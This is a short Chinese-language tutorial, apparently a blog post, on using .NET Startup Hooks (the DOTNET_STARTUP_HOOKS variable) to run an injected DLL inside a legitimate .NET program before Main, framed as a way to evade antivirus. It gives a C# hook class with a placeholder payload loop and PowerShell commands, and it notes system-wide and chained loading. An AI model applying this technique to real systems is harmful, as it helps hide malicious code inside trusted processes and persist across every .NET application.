.NET启动钩子(Startup Hooks)。这个功能自.NET Core 3开始就存在,却很少被安全研究者关注
.Net Startup Hooks是dotnet运行时提供的一个底层的机制,在程序入口点执行之前执行注入的代码,通过这个方式我们可以运行"黑DLL"在"白程序"中,也就是白加黑免杀。
设置DOTNET_STARTUP_HOOKS=path/to/assembly.dll环境变量,启动.net程序,运行时会加载assembly.dll,在Main函数启动之前先运行StartupHook.Initialize()。
新建一个类库项目
using System;
// 注意:不要使用namespace
internalclassStartupHook
{
public static void Initialize()
{
Console.WriteLine("[钩子] 代码注入成功!");
Console.WriteLine("[钩子] 在Main方法之前执行");
// 在新线程中执行,避免阻塞主线程
var thread = new Thread(ExecutePayload);
thread.IsBackground = true;
thread.Start();
}
private static void ExecutePayload()
{
Console.WriteLine("[钩子] 后台任务启动");
// 这里可以添加你的恶意代码
// 例如:网络通信、文件操作、内存注入等
// 演示:每10秒输出一次
while (true)
{
Thread.Sleep(10000);
Console.WriteLine("[钩子] 后台任务正在运行...");
}
}
}
cd .\TargetApp\
设置启动钩子路径,这里指向刚才编译的dll
$env:DOTNET_STARTUP_HOOKS = "$pwd\StartupHook\bin\Release\net6.0\StartupHook.dll"
\TargetApp> .\bin\Release\net8.0\publish\TargetApp.exe
[钩子] 代码注入成功!
[钩子] 在Main方法之前执行
[钩子] 后台任务启动
目标应用启动...
[钩子] 后台任务正在运行...
可以设置系统环境变量,此时系统中启动的所有.net程序都会加载你写的dll
链式加载
$env:DOTNET_STARTUP_HOOKS = "C:\hook1.dll;C:\hook2.dll;C:\hook3.dll"